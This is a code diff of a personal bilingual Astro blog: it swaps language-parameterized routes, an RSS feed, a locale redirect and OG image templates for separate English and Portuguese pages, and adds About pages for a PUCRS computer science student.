<p class="mt-3 text-text-muted">{ui[lang]['404.body']}</p>

View file

@ -1,39 +0,0 @@
---
import { render } from 'astro:content';
import BaseLayout from '../../layouts/BaseLayout.astro';
import { LANGS, useTranslations, type Lang } from '../../lib/i18n';
import { getAbout, getAboutAlternates } from '../../lib/about';
import { aboutCardPath } from '../../lib/social-cards';
// The slug comes from src/content/about/<lang>.mdx, so each language names its own route.
export async function getStaticPaths() {
return Promise.all(
LANGS.map(async (lang) => {
const page = await getAbout(lang);
return { params: { lang, about: page.data.slug }, props: { page } };
}),
);
}
const lang = Astro.params.lang as Lang;
const t = useTranslations(lang);
const { page } = Astro.props;
const { Content } = await render(page);
const alternates = await getAboutAlternates();
---
<BaseLayout
title={`${page.data.title} — ${t('site.name')}`}
description={page.data.description}
lang={lang}
image={aboutCardPath(lang, page.data.slug)}
alternates={alternates}
>
<section class="mx-10 mt-10 font-mono">
<h1 class="text-3xl font-bold tracking-tight text-text sm:text-4xl">{page.data.title}</h1>
<div class="prose prose-neutral mt-6 max-w-none prose-headings:font-semibold prose-a:text-primary prose-a:no-underline hover:prose-a:underline dark:prose-invert">
<Content />
</div>
</section>
</BaseLayout>

View file

@ -1,24 +0,0 @@
import rss from '@astrojs/rss';
import type { APIContext } from 'astro';
import { getLocalizedPath, langPaths, useTranslations, type Lang } from '../../lib/i18n';
import { getPostsByLang, postHref } from '../../lib/posts';
export const getStaticPaths = langPaths;
export async function GET(context: APIContext) {
const lang = context.params.lang as Lang;
const t = useTranslations(lang);
const posts = await getPostsByLang(lang);
return rss({
title: t('feed.title'),
description: t('feed.description'),
site: new URL(getLocalizedPath('/', lang), context.site),
customData: `<language>${lang}</language>`,
items: posts.map((post) => ({
title: post.data.title,
pubDate: post.data.pubDate,
description: post.data.description,
link: `${postHref(post)}/`,
})),
});
}

View file

@ -1,20 +0,0 @@
---
import BaseLayout from '../../layouts/BaseLayout.astro';
import HomeContent from '../../components/HomeContent.astro';
import { langPaths, pageMeta, useTranslations, type Lang } from '../../lib/i18n';
import { pageCardPath } from '../../lib/social-cards';
export const getStaticPaths = langPaths;
const lang = Astro.params.lang as Lang;
const t = useTranslations(lang);
---
<BaseLayout
title={`${t('site.name')} — ${t('hero.kicker')}`}
description={pageMeta(lang, 'home').description}
lang={lang}
image={pageCardPath(lang, 'home')}
>
<HomeContent lang={lang} />
</BaseLayout>

View file

@ -1,38 +0,0 @@
---
import { render } from 'astro:content';
import BaseLayout from '../../../layouts/BaseLayout.astro';
import PostLayout from '../../../layouts/PostLayout.astro';
import ObservationCard from '../../../components/ObservationCard';
import { LANGS, useTranslations, type Lang } from '../../../lib/i18n';
import { estimateReadingMinutes, getPostAlternates, getPostsByLang } from '../../../lib/posts';
import { postCardPath } from '../../../lib/social-cards';
export async function getStaticPaths() {
const pathsByLang = await Promise.all(
LANGS.map(async (lang) =>
(await getPostsByLang(lang, { includeDrafts: true })).map((post) => ({ params: { lang, slug: post.data.slug }, props: { post } })),
),
);
return pathsByLang.flat();
}
const lang = Astro.params.lang as Lang;
const t = useTranslations(lang);
const { post } = Astro.props;
const { Content } = await render(post);
const readingMinutes = estimateReadingMinutes(post.body ?? '');
const alternates = await getPostAlternates(post);
---
<BaseLayout
title={`${post.data.title} — ${t('site.name')}`}
description={post.data.description}
lang={lang}
image={postCardPath(lang, post.data.slug)}
noindex={post.data.draft}
alternates={alternates}
>
<PostLayout post={post} lang={lang} readingMinutes={readingMinutes}>
<Content components={{ ObservationCard }} />
</PostLayout>
</BaseLayout>

View file

@ -1,16 +0,0 @@
---
import BaseLayout from '../../../layouts/BaseLayout.astro';
import PostsContent from '../../../components/PostsContent.astro';
import { langPaths, pageMeta, useTranslations, type Lang } from '../../../lib/i18n';
import { pageCardPath } from '../../../lib/social-cards';
export const getStaticPaths = langPaths;
const lang = Astro.params.lang as Lang;
const t = useTranslations(lang);
const page = pageMeta(lang, 'posts');
---
<BaseLayout title={`${page.title} — ${t('site.name')}`} description={page.description} lang={lang} image={pageCardPath(lang, 'posts')}>
<PostsContent lang={lang} />
</BaseLayout>

View file

@ -1,24 +0,0 @@
---
import BaseLayout from '../../../../layouts/BaseLayout.astro';
import PostsContent from '../../../../components/PostsContent.astro';
import { LANGS, tagPageMeta, useTranslations, type Lang } from '../../../../lib/i18n';
import { getAllTags, getTagAlternates } from '../../../../lib/posts';
import { tagCardPath } from '../../../../lib/social-cards';
export async function getStaticPaths() {
const pathsByLang = await Promise.all(
LANGS.map(async (lang) => (await getAllTags(lang)).map((tag) => ({ params: { lang, tag } }))),
);
return pathsByLang.flat();
}
const lang = Astro.params.lang as Lang;
const tag = Astro.params.tag!;
const t = useTranslations(lang);
const page = tagPageMeta(lang, tag);
const alternates = await getTagAlternates(tag);
---
<BaseLayout title={`${page.title} — ${t('site.name')}`} description={page.description} lang={lang} image={tagCardPath(lang, tag)} alternates={alternates}>
<PostsContent lang={lang} tag={tag} />
</BaseLayout>

41
src/pages/about.astro Normal file
View file

@ -0,0 +1,41 @@
---
import BaseLayout from '../layouts/BaseLayout.astro';
import { useTranslations } from '../lib/i18n';
const t = useTranslations('en');
const description =
"Gabriel Franco (gabeefranco): computer science student at PUCRS, interested in how software actually works and in the history of the open source movement.";
---
<BaseLayout title={`${t('about.title')} — ${t('site.name')}`} description={description} lang="en">
<section class="mx-10 mt-10 font-mono">
<h1 class="text-3xl font-bold tracking-tight text-text sm:text-4xl">{t('about.title')}</h1>
<div class="prose prose-neutral mt-6 max-w-none prose-headings:font-semibold prose-a:text-primary prose-a:no-underline hover:prose-a:underline dark:prose-invert">
<p>
Hi, I'm Gabe — Gabriel Franco. I'm a computer science student at PUCRS (Pontifícia
Universidade Católica do Rio Grande do Sul), and this blog is where I write down the
things I'm learning and thinking about along the way.
</p>
<p>
I care a lot about computer science as a field, not just as a set of tools to ship
products with. I have a fairly specific way of doing things: I'd rather understand a
system properly than memorize the steps to make it work, and I tend to slow down on
purpose to figure out what's actually happening under the hood — in a compiler, an
operating system, a language runtime, whatever it is. That habit shapes most of what ends
up on this blog.
</p>
<p>
I'm also genuinely interested in the history of the open source movement: the people,
the arguments, and the decisions that shaped the software we all rely on. Figures like
Linus Torvalds and projects like GNU come up often in what I read and write about, not
as trivia, but because understanding where a tool came from usually explains a lot about
how and why it works the way it does today.
</p>
<p>
This site is bilingual, in English and in Portuguese, and every post exists in both
languages. Thanks for stopping by.
</p>
</div>
</section>
</BaseLayout>

11
src/pages/index.astro Normal file
View file

@ -0,0 +1,11 @@
---
import BaseLayout from '../layouts/BaseLayout.astro';
import HomeContent from '../components/HomeContent.astro';
import { useTranslations } from '../lib/i18n';
const t = useTranslations('en');
---
<BaseLayout title={`${t('site.name')} — ${t('hero.kicker')}`} description={t('hero.subtitle')} lang="en">
<HomeContent lang="en" />
</BaseLayout>

View file

@ -1,17 +0,0 @@
import type { APIRoute } from "astro";
import { pickLocale, SUPPORTED } from "../lib/i18n";
export const prerender = false;
export const GET: APIRoute = ({ request, cookies, redirect, url }) => {
const saved = cookies.get("lang")?.value;
const lang =
saved && (SUPPORTED as readonly string[]).includes(saved)
? saved
: pickLocale(request.headers.get("accept-language"));
// Keep the query string (e.g. utm_* tags) through the redirect.
const res = redirect(`/${lang}/${url.search}`, 302);
res.headers.set("Vary", "Accept-Language, Cookie");
return res;
};

View file

@ -1,78 +0,0 @@
---
// OG image template for non-post pages (home, posts, about, tags, 404).
// Same look as social-card.astro, without the author line. Screenshotted by
// scripts/generate-social-cards.ts via Cloudflare Browser Run; not meant to be
// visited directly.
export const prerender = false;
const title = Astro.url.searchParams.get('title') || 'gabeefranco';
const description = Astro.url.searchParams.get('description');
---
<html>
<head>
<meta charset="utf-8" />
<meta name="robots" content="noindex" />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;700&family=JetBrains+Mono:wght@600&display=swap"
rel="stylesheet"
/>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
position: relative;
width: 1200px;
height: 630px;
display: flex;
flex-direction: column;
justify-content: flex-end;
padding: 72px;
padding-bottom: 96px;
font-family: 'Inter', system-ui, sans-serif;
background: #fbf9f6;
color: #201a14;
border-bottom: 16px solid #e8590c;
}
.brand {
position: absolute;
top: 60px;
left: 24px;
display: flex;
align-items: center;
gap: 16px;
font-family: 'JetBrains Mono', monospace;
font-size: 40px;
font-weight: 600;
}
.brand img {
height: 64px;
}
.title {
font-size: 64px;
margin-left: 24px;
font-weight: 700;
line-height: 1.1;
letter-spacing: -0.02em;
margin-bottom: 24px;
}
.description {
font-size: 28px;
line-height: 1.35;
color: #6b5f52;
margin-left: 24px;
}
</style>
</head>
<body>
<div class="brand">
<img src="/logo.png" alt="" />
<span>gabeefranco</span>
</div>
<h1 class="title">{title}</h1>
{description && <p class="description">{description}</p>}
</body>
</html>

View file

@ -0,0 +1,22 @@
---
import { render } from 'astro:content';
import BaseLayout from '../../layouts/BaseLayout.astro';
import PostLayout from '../../layouts/PostLayout.astro';
import ObservationCard from '../../components/ObservationCard';
import { getPostsByLang, slugOf, estimateReadingMinutes } from '../../lib/posts';
export async function getStaticPaths() {
const posts = await getPostsByLang('en');
return posts.map((post) => ({ params: { slug: slugOf(post) }, props: { post } }));
}
const { post } = Astro.props;
const { Content } = await render(post);
const readingMinutes = estimateReadingMinutes(post.body ?? '');
---
<BaseLayout title={`${post.data.title} — gabeefranco`} description={post.data.description} lang="en">
<PostLayout post={post} lang="en" readingMinutes={readingMinutes}>
<Content components={{ ObservationCard }} />
</PostLayout>
</BaseLayout>

View file

@ -0,0 +1,11 @@
---
import BaseLayout from '../../layouts/BaseLayout.astro';
import PostsContent from '../../components/PostsContent.astro';
import { useTranslations } from '../../lib/i18n';
const t = useTranslations('en');
---
<BaseLayout title={`${t('posts.title')} — ${t('site.name')}`} description={t('posts.subtitle')} lang="en">
<PostsContent lang="en" />
</BaseLayout>

42
src/pages/pt/about.astro Normal file
View file

@ -0,0 +1,42 @@
---
import BaseLayout from '../../layouts/BaseLayout.astro';
import { useTranslations } from '../../lib/i18n';
const t = useTranslations('pt');
const description =
'Gabriel Franco (gabeefranco): estudante de ciência da computação na PUCRS, interessado em como o software realmente funciona e na história do movimento open source.';
---
<BaseLayout title={`${t('about.title')} — ${t('site.name')}`} description={description} lang="pt">
<section class="mx-10 mt-10 font-mono">
<h1 class="text-3xl font-bold tracking-tight text-text sm:text-4xl">{t('about.title')}</h1>
<div class="prose prose-neutral mt-6 max-w-none prose-headings:font-semibold prose-a:text-primary prose-a:no-underline hover:prose-a:underline dark:prose-invert">
<p>
Olá, eu sou o Gabe — Gabriel Franco. Sou estudante de ciência da computação na PUCRS
(Pontifícia Universidade Católica do Rio Grande do Sul), e este blog é onde registro as
coisas que vou aprendendo e pensando pelo caminho.
</p>
<p>
Eu me importo bastante com ciência da computação como área, não só como um conjunto de
ferramentas para lançar produtos. Tenho um jeito bem específico de fazer as coisas:
prefiro entender um sistema de verdade a decorar os passos para fazê-lo funcionar, e
costumo desacelerar de propósito para descobrir o que realmente está acontecendo por
baixo dos panos — em um compilador, em um sistema operacional, no runtime de uma
linguagem, seja lá o que for. Esse hábito molda a maior parte do que acaba virando post
aqui.
</p>
<p>
Também tenho um interesse genuíno pela história do movimento open source: as pessoas, os
debates e as decisões que moldaram o software do qual todos dependemos. Figuras como
Linus Torvalds e projetos como o GNU aparecem com frequência no que leio e escrevo, não
como curiosidade, mas porque entender de onde uma ferramenta veio costuma explicar
bastante sobre como e por que ela funciona do jeito que funciona hoje.
</p>
<p>
Este site é bilíngue, em inglês e em português, e todo post existe nos dois idiomas.
Obrigado pela visita.
</p>
</div>
</section>
</BaseLayout>

11
src/pages/pt/index.astro Normal file
View file

@ -0,0 +1,11 @@
---
import BaseLayout from '../../layouts/BaseLayout.astro';
import HomeContent from '../../components/HomeContent.astro';
import { useTranslations } from '../../lib/i18n';
const t = useTranslations('pt');
---
<BaseLayout title={`${t('site.name')} — ${t('hero.kicker')}`} description={t('hero.subtitle')} lang="pt">
<HomeContent lang="pt" />
</BaseLayout>

View file

@ -0,0 +1,22 @@
---
import { render } from 'astro:content';
import BaseLayout from '../../../layouts/BaseLayout.astro';
import PostLayout from '../../../layouts/PostLayout.astro';
import ObservationCard from '../../../components/ObservationCard';
import { getPostsByLang, slugOf, estimateReadingMinutes } from '../../../lib/posts';
export async function getStaticPaths() {
const posts = await getPostsByLang('pt');
return posts.map((post) => ({ params: { slug: slugOf(post) }, props: { post } }));
}
const { post } = Astro.props;
const { Content } = await render(post);
const readingMinutes = estimateReadingMinutes(post.body ?? '');
---
<BaseLayout title={`${post.data.title} — gabeefranco`} description={post.data.description} lang="pt">
<PostLayout post={post} lang="pt" readingMinutes={readingMinutes}>
<Content components={{ ObservationCard }} />
</PostLayout>
</BaseLayout>

View file

@ -0,0 +1,11 @@
---
import BaseLayout from '../../../layouts/BaseLayout.astro';
import PostsContent from '../../../components/PostsContent.astro';
import { useTranslations } from '../../../lib/i18n';
const t = useTranslations('pt');
---
<BaseLayout title={`${t('posts.title')} — ${t('site.name')}`} description={t('posts.subtitle')} lang="pt">
<PostsContent lang="pt" />
</BaseLayout>

View file

@ -0,0 +1,23 @@
---
import BaseLayout from '../../../../layouts/BaseLayout.astro';
import PostsContent from '../../../../components/PostsContent.astro';
import { getAllTags, getPostsByLang } from '../../../../lib/posts';
import { useTranslations } from '../../../../lib/i18n';
export async function getStaticPaths() {
const tags = await getAllTags('pt');
return tags.map((tag) => ({ params: { tag } }));
}
const { tag } = Astro.params;
const t = useTranslations('pt');
const posts = (await getPostsByLang('pt')).filter((p) => p.data.tags.includes(tag!));
---
<BaseLayout
title={`#${tag} — ${t('site.name')}`}
description={`${t('posts.filteredBy')} #${tag}: ${posts.map((p) => p.data.title).join(', ')}`}
lang="pt"
>
<PostsContent lang="pt" tag={tag} />
</BaseLayout>

View file

@ -1,85 +0,0 @@
---
// OG image template. Screenshotted by scripts/generate-social-cards.ts via
// Cloudflare Browser Run; not meant to be visited directly.
export const prerender = false;
const title = Astro.url.searchParams.get('title') || 'Untitled';
const description = Astro.url.searchParams.get('description');
const author = Astro.url.searchParams.get('author');
---
<html>
<head>
<meta charset="utf-8" />
<meta name="robots" content="noindex" />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;700&family=JetBrains+Mono:wght@600&display=swap"
rel="stylesheet"
/>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
position: relative;
width: 1200px;
height: 630px;
display: flex;
flex-direction: column;
justify-content: flex-end;
padding: 72px;
font-family: 'Inter', system-ui, sans-serif;
background: #fbf9f6;
color: #201a14;
border-bottom: 16px solid #e8590c;
}
.brand {
position: absolute;
top: 30px;
left: 24px;
display: flex;
align-items: center;
gap: 16px;
font-family: 'JetBrains Mono', monospace;
font-size: 40px;
font-weight: 600;
}
.brand img {
height: 64px;
}
.title {
font-size: 64px;
margin-left: 24px;
font-weight: 700;
line-height: 1.1;
letter-spacing: -0.02em;
margin-bottom: 24px;
}
.description {
font-size: 28px;
line-height: 1.35;
color: #6b5f52;
margin-left: 24px;
}
.author {
margin-top: 24px;
margin-left: 24px;
margin-bottom: 24px;
font-family: 'JetBrains Mono', monospace;
font-size: 24px;
color: #e8590c;
}
</style>
</head>
<body>
<div class="brand">
<img src="/logo.png" alt="" />
<span>gabeefranco</span>
</div>
<h1 class="title">{title}</h1>
{description && <p class="description">{description}</p>}
{author && <p class="author">{author}</p>}
</body>
</html>

View file

@ -0,0 +1,23 @@
---
import BaseLayout from '../../../layouts/BaseLayout.astro';
import PostsContent from '../../../components/PostsContent.astro';
import { getAllTags, getPostsByLang } from '../../../lib/posts';
import { useTranslations } from '../../../lib/i18n';
export async function getStaticPaths() {
const tags = await getAllTags('en');
return tags.map((tag) => ({ params: { tag } }));
}
const { tag } = Astro.params;
const t = useTranslations('en');
const posts = (await getPostsByLang('en')).filter((p) => p.data.tags.includes(tag!));
---
<BaseLayout
title={`#${tag} — ${t('site.name')}`}
description={`${t('posts.filteredBy')} #${tag}: ${posts.map((p) => p.data.title).join(', ')}`}
lang="en"
>
<PostsContent lang="en" tag={tag} />
</BaseLayout>

View file

@ -6,8 +6,7 @@
@theme inline {
--font-sans: "Inter", ui-sans-serif, system-ui, sans-serif;
--font-prose: var(--font-iawriter), ui-monospace, SFMono-Regular, Menlo, monospace;
--font-mono: var(--font-iawriter), ui-monospace, SFMono-Regular, Menlo, monospace;
--font-mono: "JetBrains Mono", ui-monospace, SFMono-Regular, Menlo, monospace;
--color-bg: var(--bg);
--color-surface: var(--surface);